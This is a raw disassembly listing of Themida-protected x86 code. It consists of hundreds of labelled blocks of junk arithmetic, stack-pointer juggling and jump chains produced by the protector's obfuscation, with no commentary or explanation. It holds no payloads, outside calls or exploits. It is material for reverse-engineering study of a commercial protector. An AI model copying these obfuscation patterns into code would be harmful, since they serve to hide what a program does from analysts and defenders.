loc_584647: ; CODE XREF: Themida_:0058C2ABj
mov edi, 2
jmp loc_582FA3
; ---------------------------------------------------------------------------
loc_584651: ; CODE XREF: Themida_:0058D1C0j
pop bx
jmp loc_5869D0
; ---------------------------------------------------------------------------
loc_584658: ; CODE XREF: Themida_:00589C4Cj
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esp
jmp loc_58D008
; ---------------------------------------------------------------------------
loc_58466A: ; CODE XREF: Themida_:0058373Bj
add eax, edx
sub eax, 7A476884h
pop edx
jmp loc_5887C6
; ---------------------------------------------------------------------------
loc_584677: ; CODE XREF: Themida_:00589E9Aj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], edx
push 45CA56DDh
jmp loc_582AAA
; ---------------------------------------------------------------------------
loc_584696: ; CODE XREF: Themida_:005843D3j
not ebp
push eax
jmp loc_582890
; ---------------------------------------------------------------------------
loc_58469E: ; CODE XREF: Themida_:0058276Fj
add esp, 4
push dword ptr [esp]
pop edx
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_58D305
; ---------------------------------------------------------------------------
loc_5846C1: ; CODE XREF: Themida_:00583F43j
xor ebx, [esp]
mov esp, [esp]
mov eax, [esp]
push esi
push esp
mov esi, [esp]
jmp loc_589CFC
; ---------------------------------------------------------------------------
loc_5846D4: ; CODE XREF: Themida_:005849ACj
push 357Fh
mov [esp], eax
jmp loc_585357
; ---------------------------------------------------------------------------
loc_5846E1: ; CODE XREF: Themida_:0058C795j
mov [esp], eax
jmp loc_587E22
; ---------------------------------------------------------------------------
loc_5846E9: ; CODE XREF: Themida_:0058199Aj
mov eax, [esp]
add esp, 4
jmp loc_584BF6
; ---------------------------------------------------------------------------
loc_5846F4: ; CODE XREF: Themida_:0058DBAFj
pop edi
xor ebx, [esp]
jmp loc_589F91
; ---------------------------------------------------------------------------
loc_5846FD: ; CODE XREF: Themida_:00582B59j
mov ebp, 1D313411h
jmp loc_58DA39
; ---------------------------------------------------------------------------
loc_584707: ; CODE XREF: Themida_:0058244Dj
mov ebp, [esp]
add esp, 4
sub esp, 4
jmp loc_587A6D
; ---------------------------------------------------------------------------
loc_584718: ; CODE XREF: Themida_:00588EA8j
add edi, 779F39B4h
add edi, esi
sub edi, 779F39B4h
jmp loc_582134
; ---------------------------------------------------------------------------
loc_58472B: ; CODE XREF: Themida_:00583808j
mov edi, 24E86BBBh
jmp loc_585CA3
; ---------------------------------------------------------------------------
loc_584735: ; CODE XREF: Themida_:0058C983j
add esp, 4
or edx, eax
shl edx, 1
push 1F59h
mov [esp], ecx
push eax
mov eax, 1D6D63B8h
shl eax, 7
shl eax, 6
push 5D15h
mov [esp], ebx
mov ebx, 5F0125B8h
or ebx, 5D31486Fh
neg ebx
dec ebx
push edi
mov edi, 523266EFh
jmp loc_5855B7
; ---------------------------------------------------------------------------
loc_584771: ; CODE XREF: Themida_:005854BBj
push esi
jmp loc_588804
; ---------------------------------------------------------------------------
loc_584777: ; CODE XREF: Themida_:0058BD84j
sub edi, 0CEDE52DAh
add ebp, edi
pop edi
jmp loc_585C2B
; ---------------------------------------------------------------------------
loc_584785: ; CODE XREF: Themida_:0058504Fj
push edx
jmp loc_5887F5
; ---------------------------------------------------------------------------
loc_58478B: ; CODE XREF: Themida_:00588E08j
add edi, 2
push edi
jmp loc_58978E
; ---------------------------------------------------------------------------
loc_584794: ; CODE XREF: Themida_:005855FAj
pop edx
jmp loc_58DF07
; ---------------------------------------------------------------------------
loc_58479A: ; CODE XREF: Themida_:0058B5C3j
mov edx, 4
add [esp+4], edx
jmp loc_58CAD9
; ---------------------------------------------------------------------------
loc_5847A8: ; CODE XREF: Themida_:00588064j
mov ecx, [edx]
pop edx
push dword ptr [esp]
pop ebx
jmp loc_584804
; ---------------------------------------------------------------------------
loc_5847B4: ; CODE XREF: Themida_:00586306j
push ebp
mov ebp, 50074473h
shl ebp, 8
sub ebp, 56912970h
add ebp, 19747C49h
jmp loc_583C2F
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_589D25
; ---------------------------------------------------------------------------
loc_5847DE: ; CODE XREF: Themida_:0058721Bj
shl eax, 1
jmp loc_581A3D
; ---------------------------------------------------------------------------
loc_5847E5: ; CODE XREF: Themida_:00589089j
pop ebx
add esp, 4
xor [edi+20h], ebp
pop ebp
sub esp, 4
mov [esp], eax
mov eax, 4A407663h
sub eax, 5AED4902h
not eax
jmp loc_582D42
; ---------------------------------------------------------------------------
loc_584804: ; CODE XREF: Themida_:005847AFj
add esp, 4
jmp loc_58D85A
; ---------------------------------------------------------------------------
loc_58480C: ; CODE XREF: Themida_:00581E4Cj
add edi, 621306EBh
sub esp, 4
jmp loc_58CC37
; ---------------------------------------------------------------------------
loc_58481A: ; CODE XREF: Themida_:0058CD21j
pop ecx
sub edx, 11093CB4h
jmp loc_58B45B
; ---------------------------------------------------------------------------
loc_584826: ; CODE XREF: Themida_:0058268Aj
add bl, 93h
sub bl, al
jmp loc_587247
; ---------------------------------------------------------------------------
lodsb
jmp loc_58DF65
; ---------------------------------------------------------------------------
loc_584836: ; CODE XREF: Themida_:00581C45j
pop ebx
jmp loc_584A92
; ---------------------------------------------------------------------------
loc_58483C: ; CODE XREF: Themida_:0058DAB9j
push small 6509h
jmp loc_58DADD
; ---------------------------------------------------------------------------
loc_584845: ; CODE XREF: Themida_:00581EACj
mov edi, 4
add ecx, edi
push dword ptr [esp]
mov edi, [esp]
jmp loc_589F7F
; ---------------------------------------------------------------------------
loc_584857: ; CODE XREF: Themida_:0058596Cj
push eax
pop ecx
pop eax
sub [edi+24h], ecx
pop ecx
loc_58485E: ; CODE XREF: Themida_:0058A17Fj
sub esp, 4
mov [esp], ebx
push dword ptr [esp]
pop eax
jmp loc_5823A8
; ---------------------------------------------------------------------------
loc_584870: ; CODE XREF: Themida_:0058546Fj
sub ebp, 48C94758h
dec ebp
sub ebp, 0B8A2B689h
jmp loc_58649A
; ---------------------------------------------------------------------------
loc_584882: ; CODE XREF: Themida_:00582609j
mov [esp], ebx
sub dword ptr [esp], 67A74C10h
mov eax, [esp]
push eax
jmp loc_58CAC4
; ---------------------------------------------------------------------------
loc_584895: ; CODE XREF: Themida_:005849FDj
mov ebp, 235E3313h
sub ebp, 0E93670C3h
xor edi, ebp
pop ebp
push edi
jmp loc_586807
; ---------------------------------------------------------------------------
loc_5848A9: ; CODE XREF: Themida_:005884A1j
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push edx
jmp loc_589AC4
; ---------------------------------------------------------------------------
mov edi, 0C921459h
and edi, 67E348E0h
or edi, 2EA019F0h
jmp loc_589DE6
; ---------------------------------------------------------------------------
loc_5848CF: ; CODE XREF: Themida_:0058A970j
mov edx, 41E8757Dh
jmp loc_5821BD
; ---------------------------------------------------------------------------
loc_5848D9: ; CODE XREF: Themida_:0058B67Fj
add esi, 3232784Bh
push dword ptr [esp]
pop eax
jmp loc_58A5BA
; ---------------------------------------------------------------------------
loc_5848E8: ; CODE XREF: Themida_:00585D00j
mov eax, esi
pop esi
sub eax, 1801012Ch
push ecx
mov ecx, 57B44D11h
not ecx
xor ecx, 9B3991BEh
add eax, ecx
jmp loc_5871D4
; ---------------------------------------------------------------------------
loc_584905: ; CODE XREF: Themida_:00581A06j
add esp, 4
jmp loc_58A9BE
; ---------------------------------------------------------------------------
loc_584910: ; CODE XREF: Themida_:00589F49j
sub ecx, 62F211D1h
add ecx, esi
add ecx, 62F211D1h
pop esi
add ecx, 4
xor ecx, [esp]
jmp loc_5825F5
; ---------------------------------------------------------------------------
loc_58492D: ; CODE XREF: Themida_:00589037j
add ebx, ecx
pop ecx
xchg ebx, [esp]
mov esp, [esp]
mul ecx
push ebp
mov ebp, esp
push 4AB4h
mov [esp], edx
mov edx, 4E91674h
and edx, 29184714h
jmp loc_582301
; ---------------------------------------------------------------------------
loc_584953: ; CODE XREF: Themida_:0058308Aj
push 4DAAh
mov [esp], ecx
mov cl, 9
jmp loc_58CE16
; ---------------------------------------------------------------------------
loc_584962: ; CODE XREF: Themida_:00582613j
mov esi, [esp]
jmp loc_58C8B0
; ---------------------------------------------------------------------------
loc_58496A: ; CODE XREF: Themida_:0058DA1Fj
mov [esp], edi
jmp loc_587926
; ---------------------------------------------------------------------------
loc_584972: ; CODE XREF: Themida_:0058C8F2j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_582AC8
; ---------------------------------------------------------------------------
loc_584986: ; CODE XREF: Themida_:0058D70Aj
add esp, 2
push edx
mov dl, 0C0h
sub dl, 0FFh
jmp loc_5877D5
; ---------------------------------------------------------------------------
loc_584994: ; CODE XREF: Themida_:0058A367j
add esi, 0FFFFFFFFh
xor esi, 0F9DEFFF6h
add ecx, esi
pop esi
xchg ecx, [esp]
mov esp, [esp]
idiv cx
jmp loc_5846D4
; ---------------------------------------------------------------------------
loc_5849B1: ; CODE XREF: Themida_:005881F5j
push ebx
mov bh, 87h
shr bh, 4
shl bh, 3
inc bh
and bh, 0BEh
xor bh, 0BEh
add dl, bh
pop ebx
sub cl, 0BCh
sub cl, dl
add cl, 0BCh
pop edx
sub al, cl
pop ecx
push edx
jmp loc_58D7DD
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_58D5DD
; ---------------------------------------------------------------------------
loc_5849E0: ; CODE XREF: Themida_:0058798Aj
add dl, 5Bh
xor dl, 4Bh
jmp loc_58B4EB
; ---------------------------------------------------------------------------
loc_5849EB: ; CODE XREF: Themida_:005859F4j
mov bl, 0F9h
jmp loc_58CB67
; ---------------------------------------------------------------------------
loc_5849F2: ; CODE XREF: Themida_:0058D85Cj
mov edi, 4B95220Dh
not edi
shr edi, 4
push ebp
jmp loc_584895
; ---------------------------------------------------------------------------
loc_584A02: ; CODE XREF: Themida_:00587AFEj
shl ebx, 5
sub ebx, 37BC653Ch
sub ebp, 6DAC0FC4h
add ebp, ebx
add ebp, 6DAC0FC4h
pop ebx
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5818C9
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5861FA
; ---------------------------------------------------------------------------
loc_584A36: ; CODE XREF: Themida_:0058419Dj
pop edx
jmp loc_5844F9
; ---------------------------------------------------------------------------
loc_584A3C: ; CODE XREF: Themida_:0058824Aj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebp
push edi
jmp loc_58B093
; ---------------------------------------------------------------------------
loc_584A57: ; CODE XREF: Themida_:00588769j
sub eax, 49945ED6h
sub eax, 414EA170h
push eax
mov esi, [esp]
jmp loc_58AF2F
; ---------------------------------------------------------------------------
loc_584A6A: ; CODE XREF: Themida_:00583BF3j
sub edx, eax
pop eax
xor edx, 567A1737h
neg edx
jmp loc_589F9F
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_58B02F
; ---------------------------------------------------------------------------
loc_584A83: ; CODE XREF: Themida_:0058DD91j
add esi, 4
xchg esi, [esp]
pop esp
movsx ecx, al
jmp loc_58ACA8
; ---------------------------------------------------------------------------
loc_584A92: ; CODE XREF: Themida_:00584837j
push edi
mov edi, 50FC71C8h
neg edi
sub edi, 0AF038E34h
add eax, edi
pop edi
xchg eax, [esp]
mov esp, [esp]
shr eax, 0Bh
xor ecx, eax
sub esp, 4
mov [esp], ecx
mov ecx, esp
push ebx
mov ebx, 269A2432h
push edi
mov edi, 529B591Fh
add edi, 63AB0CD4h
sub edi, 5B183C42h
add ebx, edi
pop edi
push edi
mov edi, 341E5F87h
or ebx, edi
pop edi
and ebx, 19777E6Eh
sub ebx, 11565E62h
add ecx, ebx
jmp loc_5843A3
; ---------------------------------------------------------------------------
loc_584AF0: ; CODE XREF: Themida_:005874B9j
add ecx, 515B240Dh
pop eax
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
movzx cx, al
sub esp, 4
mov [esp], esi
push esp
pop esi
add esi, 4
push 5B47h
mov [esp], edx
mov edx, 2
jmp loc_58D900
; ---------------------------------------------------------------------------
loc_584B25: ; CODE XREF: Themida_:00589FF1j
push dword ptr [esp]
pop edx
add esp, 4
add al, cl
pop ecx
add bl, 8Ah
jmp loc_58C21C
; ---------------------------------------------------------------------------
loc_584B3A: ; CODE XREF: Themida_:00585715j
mov edx, 2D5C2198h
jmp loc_58D736
; ---------------------------------------------------------------------------
loc_584B44: ; CODE XREF: Themida_:0058C46Dj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_584FB5
; ---------------------------------------------------------------------------
loc_584B57: ; CODE XREF: Themida_:0058DE10j
not ebp
and ebp, 2FD307F3h
sub ebp, 0DC73FBC2h
sub ebx, ebp
jmp loc_589081
; ---------------------------------------------------------------------------
loc_584B6C: ; CODE XREF: Themida_:005868B2j
add esp, 4
jmp loc_581915
; ---------------------------------------------------------------------------
loc_584B74: ; CODE XREF: Themida_:00583BD9j
push 6551h
mov [esp], esi
mov esi, 2AE04065h
sub esp, 4
mov [esp], ecx
mov ecx, esi
mov ebp, ecx
pop ecx
mov esi, [esp]
add esp, 4
push edx
mov edx, 4D2C3645h
add eax, edx
mov edx, [esp]
add esp, 4
jmp loc_586D93
; ---------------------------------------------------------------------------
loc_584BAB: ; CODE XREF: Themida_:00589EE6j
xor edx, 351D036h
add eax, edx
jmp loc_582DA2
; ---------------------------------------------------------------------------
loc_584BB8: ; CODE XREF: Themida_:0058520Fj
push 0
sub [esp], dl
mov dl, [esp]
add esp, 4
jmp loc_58642E
; ---------------------------------------------------------------------------
loc_584BCB: ; CODE XREF: Themida_:00589D3Fj
sub esp, 4
mov [esp], edi
push edx
jmp loc_585278
; ---------------------------------------------------------------------------
loc_584BD7: ; CODE XREF: Themida_:0058A566j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_584BEC: ; CODE XREF: Themida_:00589D20j
add ebx, ecx
push dword ptr [esp]
jmp loc_589133
; ---------------------------------------------------------------------------
loc_584BF6: ; CODE XREF: Themida_:005846EFj
add eax, 36477A81h
mov esi, [esp]
sub esp, 4
mov [esp], edi
jmp loc_589C51
; ---------------------------------------------------------------------------
loc_584C0C: ; CODE XREF: Themida_:00585781j
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_589166
; ---------------------------------------------------------------------------
loc_584C23: ; CODE XREF: Themida_:0058A634j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_584C28: ; CODE XREF: Themida_:00586202j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58BFE3
; ---------------------------------------------------------------------------
loc_584C37: ; CODE XREF: Themida_:00582D9Dj
xor edi, ebp
pop ebp
jmp loc_58878F
; ---------------------------------------------------------------------------
loc_584C3F: ; CODE XREF: Themida_:00582FD8j
mov [esp], ebx
push edx
push 1D507621h
mov edx, [esp]
add esp, 4
jmp loc_58885B
; ---------------------------------------------------------------------------
loc_584C56: ; CODE XREF: Themida_:00587F8Cj
add ebp, 0F02BBC45h
mov eax, ebp
pop ebp
add esi, eax
mov eax, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_58D018
; ---------------------------------------------------------------------------
mov ax, [esp]
push 17D9h
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
push ebp
mov ebp, 4
jmp loc_585152
; ---------------------------------------------------------------------------
loc_584CA2: ; CODE XREF: Themida_:00587047j
push edi
jmp loc_588AE5
; ---------------------------------------------------------------------------
loc_584CA8: ; CODE XREF: Themida_:0058AEBAj
xchg eax, [esp]
pop esp
jmp loc_589353
; ---------------------------------------------------------------------------
loc_584CB1: ; CODE XREF: Themida_:005830A1j
push ebp
mov ebp, 23114CAEh
shr ebp, 2
dec ebp
shl ebp, 4
jmp loc_588260
; ---------------------------------------------------------------------------
loc_584CC3: ; CODE XREF: Themida_:0058BF17j
mov [esp], edx
jmp loc_589192
; ---------------------------------------------------------------------------
loc_584CCB: ; CODE XREF: Themida_:005820A8j
pop dword ptr [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_586E03
; ---------------------------------------------------------------------------
loc_584CDA: ; CODE XREF: Themida_:0058CA98j
add esp, 4
jmp loc_58281B
; ---------------------------------------------------------------------------
loc_584CE2: ; CODE XREF: Themida_:005825CBj
pop edi
mov ebp, [esp]
jmp loc_5835D0
; ---------------------------------------------------------------------------
loc_584CEB: ; CODE XREF: Themida_:00586178j
mov ebp, [esp]
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop eax
jmp loc_58B804
; ---------------------------------------------------------------------------
loc_584D0C: ; CODE XREF: Themida_:0058A8E5j
mov edi, 0FB342EDh
shl edi, 2
shl edi, 2
inc edi
push edx
mov edx, 12373E79h
push eax
mov eax, 41B1333Ah
and eax, 1B3D6737h
jmp loc_58ACE8
; ---------------------------------------------------------------------------
loc_584D2E: ; CODE XREF: Themida_:00587AC9j
mov esi, ecx
pop ecx
push ecx
mov ecx, 2866403Fh
jmp loc_587259
; ---------------------------------------------------------------------------
loc_584D3C: ; CODE XREF: Themida_:005885C5j
add eax, edi
sub eax, 45B73C9h
pop edi
add ebp, 0F746E5Ah
sub ebp, 6D4A63E9h
add ebp, eax
add ebp, 6D4A63E9h
sub ebp, 0F746E5Ah
mov eax, [esp]
push esi
mov esi, esp
jmp loc_5877B3
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_587872
; ---------------------------------------------------------------------------
loc_584D72: ; CODE XREF: Themida_:00585576j
xor ebp, 0ECB62CA5h
mov ecx, ebp
pop ebp
add ecx, 4594FEFBh
or esi, ecx
pop ecx
add esi, 24CB8BF8h
or ebp, esi
jmp loc_58CD7D
; ---------------------------------------------------------------------------
loc_584D91: ; CODE XREF: Themida_:005875C3j
push 20F5h
push esp
pop dword ptr [esp]
jmp loc_587433
; ---------------------------------------------------------------------------
loc_584D9F: ; CODE XREF: Themida_:005869CBj
push edi
mov edi, 71CA33CBh
xor edi, 0E280C0Ch
dec edi
not edi
add edi, 8AF8783Fh
mov esi, edi
pop edi
jmp loc_58DB82
; ---------------------------------------------------------------------------
loc_584DBC: ; CODE XREF: Themida_:005833E3j
mov [esp], ebp
push ebx
mov ebx, 70230F59h
mov ebp, 0C5441599h
sub ebp, 4783616Eh
sub ebp, ebx
jmp loc_58AC78
; ---------------------------------------------------------------------------
loc_584DD7: ; CODE XREF: Themida_:00587E6Ej
pop eax
add ecx, 2
push ecx
jmp loc_58D11F
; ---------------------------------------------------------------------------
loc_584DE4: ; CODE XREF: Themida_:00586A04j
shr edx, 1
cmp eax, edx
jz loc_58CC17
push esi
jmp loc_588C76
; ---------------------------------------------------------------------------
loc_584DF4: ; CODE XREF: Themida_:00586AE8j
pop ebx
sub ecx, 2993C7A8h
jmp loc_58B6DE
; ---------------------------------------------------------------------------
loc_584E00: ; CODE XREF: Themida_:00588B10j
push ebp
push eax
mov eax, 0EF43A06h
mov ebp, 4155A5F0h
sub ebp, eax
mov eax, [esp]
add esp, 4
mov esi, 66AA5304h
jmp loc_58D291
; ---------------------------------------------------------------------------
loc_584E1E: ; CODE XREF: Themida_:0058B89Aj
sub eax, 40A95D03h
mov edx, [esp]
jmp loc_58A408
; ---------------------------------------------------------------------------
loc_584E2B: ; CODE XREF: Themida_:0058DC78j
sub ebx, esi
xor esi, ebx
xor ebx, esi
xor esi, ebx
pop ebx
push eax
jmp loc_58C335
; ---------------------------------------------------------------------------
loc_584E3A: ; CODE XREF: Themida_:0058632Dj
xchg edx, [esp]
pop esp
jmp loc_589824
; ---------------------------------------------------------------------------
loc_584E43: ; CODE XREF: Themida_:0058CEE1j
xchg ecx, [esp]
pop esp
jmp loc_586D6D
; ---------------------------------------------------------------------------
loc_584E4C: ; CODE XREF: Themida_:00585331j
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_581EEE
; ---------------------------------------------------------------------------
loc_584E58: ; CODE XREF: Themida_:0058447Ej
mov [esp], edx
push dword ptr [esp+4]
jmp loc_5820D5
; ---------------------------------------------------------------------------
loc_584E64: ; CODE XREF: Themida_:0058B706j
mov [esp], esi
push edx
mov edx, 1B735226h
jmp loc_58AD09
; ---------------------------------------------------------------------------
loc_584E72: ; CODE XREF: Themida_:005893D5j
push 0C1A4EE9h
pop edi
jmp loc_582A97
; ---------------------------------------------------------------------------
loc_584E7D: ; CODE XREF: Themida_:00582057j
dec edx
push ebx
mov ebx, 6C015026h
inc ebx
jmp loc_583199
; ---------------------------------------------------------------------------
loc_584E8A: ; CODE XREF: Themida_:0058984Aj
mov edi, [esp]
jmp loc_5832D1
; ---------------------------------------------------------------------------
loc_584E92: ; CODE XREF: Themida_:00588BCAj
add ecx, 738A7B50h
add ecx, ebp
jmp loc_589B45
; ---------------------------------------------------------------------------
loc_584E9F: ; CODE XREF: Themida_:0058BEE0j
xchg ebp, [esp]
pop esp
push 28E4h
jmp loc_5873DC
; ---------------------------------------------------------------------------
loc_584EAD: ; CODE XREF: Themida_:0058834Dj
add al, cl
pop ecx
mov edx, [esp]
add esp, 4
sub esp, 2
jmp loc_58A4C7
; ---------------------------------------------------------------------------
loc_584EC4: ; CODE XREF: Themida_:00588982j
sub bl, 0B2h
jmp loc_58B55B
; ---------------------------------------------------------------------------
loc_584ECC: ; CODE XREF: Themida_:00589F61j
mov eax, 4C033B90h
sub eax, 4C033B8Ch
jmp loc_58A258
; ---------------------------------------------------------------------------
loc_584EDB: ; CODE XREF: Themida_:0058BADFj
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58BB84
; ---------------------------------------------------------------------------
loc_584EEB: ; CODE XREF: Themida_:00585F17j
pop ecx
add eax, 0E011606h
add eax, edi
sub eax, 0E011606h
jmp loc_585ED2
; ---------------------------------------------------------------------------
loc_584EFD: ; CODE XREF: Themida_:00586DFEj
add esi, eax
add esi, 8191D6Bh
push ebp
push esi
mov esi, 5FA952EEh
mov ebp, 0C16CD02h
add ebp, esi
pop esi
sub esp, 4
mov [esp], edx
mov edx, 0
sub edx, 3CDD63CFh
jmp loc_5829B1
; ---------------------------------------------------------------------------
loc_584F2D: ; CODE XREF: Themida_:0058456Cj
add eax, 4B4D125Dh
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_588104
; ---------------------------------------------------------------------------
loc_584F43: ; CODE XREF: Themida_:0058A27Bj
add ebx, 4
jmp loc_588D02
; ---------------------------------------------------------------------------
loc_584F4B: ; CODE XREF: Themida_:00584FC3j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_5838B5
; ---------------------------------------------------------------------------
loc_584F59: ; CODE XREF: Themida_:00586629j
not ch
add ch, 91h
xchg ah, ch
not ah
xchg ah, ch
jmp loc_587A0C
; ---------------------------------------------------------------------------
loc_584F69: ; CODE XREF: Themida_:00582550j
add dl, 0A2h
add al, dl
mov edx, [esp]
jmp loc_58B6AC
; ---------------------------------------------------------------------------
loc_584F76: ; CODE XREF: Themida_:0058A7E6j
push 7744h
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_58DA56
; ---------------------------------------------------------------------------
loc_584F8A: ; CODE XREF: Themida_:00587055j
mov [esp], ebx
jmp loc_583AC9
; ---------------------------------------------------------------------------
loc_584F92: ; CODE XREF: Themida_:00583877j
mov [esp], eax
mov eax, 50650974h
sub eax, 347ABB00h
sub ebp, eax
pop eax
jmp loc_5880C1
; ---------------------------------------------------------------------------
loc_584FA7: ; CODE XREF: Themida_:005873E6j
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_58C16C
; ---------------------------------------------------------------------------
loc_584FB5: ; CODE XREF: Themida_:00584B52j
pop esp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
jmp loc_584F4B
; ---------------------------------------------------------------------------
loc_584FC8: ; CODE XREF: Themida_:00582E6Dj
push ebx
jmp loc_58876E
; ---------------------------------------------------------------------------
loc_584FCE: ; CODE XREF: Themida_:00585B97j
push 4E55h
mov [esp], ebx
jmp loc_58AB45
; ---------------------------------------------------------------------------
loc_584FDB: ; CODE XREF: Themida_:0058BA39j
not bl
mov dl, bl
pop bx
push ebx
mov bh, 0D2h
jmp loc_5832B5
; ---------------------------------------------------------------------------
loc_584FE9: ; CODE XREF: Themida_:00585AE8j
add esp, 4
add eax, 4
xchg eax, [esp]
pop esp
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5853BD
; ---------------------------------------------------------------------------
loc_58500A: ; CODE XREF: Themida_:0058BB7Fj
xor ecx, [esp]
pop esp
add edx, 0EFB963BCh
mov ebp, edx
pop edx
xor ebp, ecx
mov ecx, [esp]
add esp, 4
and ecx, ebp
pop ebp
shr ecx, 7
jmp loc_5835F3
; ---------------------------------------------------------------------------
loc_58502D: ; CODE XREF: Themida_:0058B8DBj
push dword ptr [esp]
jmp loc_583B73
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push 7CEh
mov [esp], esi
jmp loc_58D27E
; ---------------------------------------------------------------------------
loc_585049: ; CODE XREF: Themida_:00585707j
push ebx
mov ebx, 61184E37h
jmp loc_584785
; ---------------------------------------------------------------------------
loc_585054: ; CODE XREF: Themida_:00585F41j
mov esp, [esp]
push 502Bh
mov [esp], ebp
mov ebp, 70320FC8h
jmp loc_584029
; ---------------------------------------------------------------------------
loc_585069: ; CODE XREF: Themida_:0058671Aj
add dword ptr [esp], 4
pop eax
push edx
mov edx, 4
jmp loc_58AE9D
; ---------------------------------------------------------------------------
loc_58507C: ; CODE XREF: Themida_:00583E12j
push ebx
jmp loc_58D7AC
; ---------------------------------------------------------------------------
loc_585082: ; CODE XREF: Themida_:00583B27j
pop edx
shl edx, 7
jmp loc_5833B5
; ---------------------------------------------------------------------------
loc_58508B: ; CODE XREF: Themida_:005893CBj
xchg ebp, [esp]
pop esp
add edx, 4
jmp loc_584478
; ---------------------------------------------------------------------------
loc_58509A: ; CODE XREF: Themida_:00581CA1j
pop ebp
jmp loc_58D7C5
; ---------------------------------------------------------------------------
loc_5850A0: ; CODE XREF: Themida_:00585395j
add dword ptr [esp+4], 613C0879h
add [esp+4], edx
jmp loc_58D191
; ---------------------------------------------------------------------------
loc_5850B1: ; CODE XREF: Themida_:00585C49j
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_581D44
; ---------------------------------------------------------------------------
loc_5850C3: ; CODE XREF: Themida_:0058A4D0j
push dx
push eax
mov al, 92h
sub al, 0F0h
jmp loc_58D7D0
; ---------------------------------------------------------------------------
loc_5850CF: ; CODE XREF: Themida_:0058C533j
mov esp, [esp]
or eax, eax
jz loc_587FF3
push dword ptr [edi+28h]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push 2AB4h
mov [esp], ecx
mov ecx, esp
push ebx
mov ebx, 417450Dh
inc ebx
xor ebx, 49D32926h
not ebx
sub ebx, 198B2023h
or ebx, 202E0E92h
xor ebx, 0B8BE7FB2h
add ecx, ebx
pop ebx
jmp loc_581CAF
; ---------------------------------------------------------------------------
loc_585129: ; CODE XREF: Themida_:005864C4j
dec ebx
add ebx, 40CD4FE8h
push eax
mov eax, 0FFFFFFFFh
add ebx, eax
pop eax
push esi
mov esi, 7DB1B3Bh
shr esi, 8
jmp loc_586CFF
; ---------------------------------------------------------------------------
loc_585147: ; CODE XREF: Themida_:0058CB72j
or ebp, 0F7B4F58h
jmp loc_584592
; ---------------------------------------------------------------------------
loc_585152: ; CODE XREF: Themida_:00584C9Dj
add edi, ebp
pop ebp
push eax
jmp loc_588080
; ---------------------------------------------------------------------------
loc_58515B: ; CODE XREF: Themida_:0058CE94j
add ebx, edi
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub ebx, eax
sub ebx, 593050B2h
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_5886CA
; ---------------------------------------------------------------------------
loc_58518E: ; CODE XREF: Themida_:0058444Dj
pop eax
add ecx, 5BCA0F72h
push ebx
push eax
jmp loc_58BF5D
; ---------------------------------------------------------------------------
loc_58519C: ; CODE XREF: Themida_:0058ACE3j
xor ebp, 40047391h
jmp loc_5837CC
; ---------------------------------------------------------------------------
loc_5851A7: ; CODE XREF: Themida_:0058CD14j
push eax
push ebx
mov bl, 5Eh
mov ah, bl
pop ebx
push ecx
mov ch, 47h
or ah, ch
pop ecx
neg ah
shl ah, 6
push edx
mov dh, 1Ch
sub ah, dh
pop edx
add ah, 0DBh
sub cl, ah
pop eax
shl cl, 2
not cl
shr cl, 2
inc cl
add cl, 20h
sub al, 43h
add al, cl
add al, 43h
pop ecx
push ecx
mov cl, 0A4h
shl cl, 3
jmp loc_58A45D
; ---------------------------------------------------------------------------
loc_5851E4: ; CODE XREF: Themida_:0058C843j
mov ebx, [esp]
push ebp
jmp loc_58CF01
; ---------------------------------------------------------------------------
lodsd
jmp loc_5833D3
; ---------------------------------------------------------------------------
loc_5851F3: ; CODE XREF: Themida_:0058C260j
sub dword ptr [esp], 193A5BDDh
jmp loc_58D967
; ---------------------------------------------------------------------------
loc_5851FF: ; CODE XREF: Themida_:0058C129j
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
push edx
mov dl, 60h
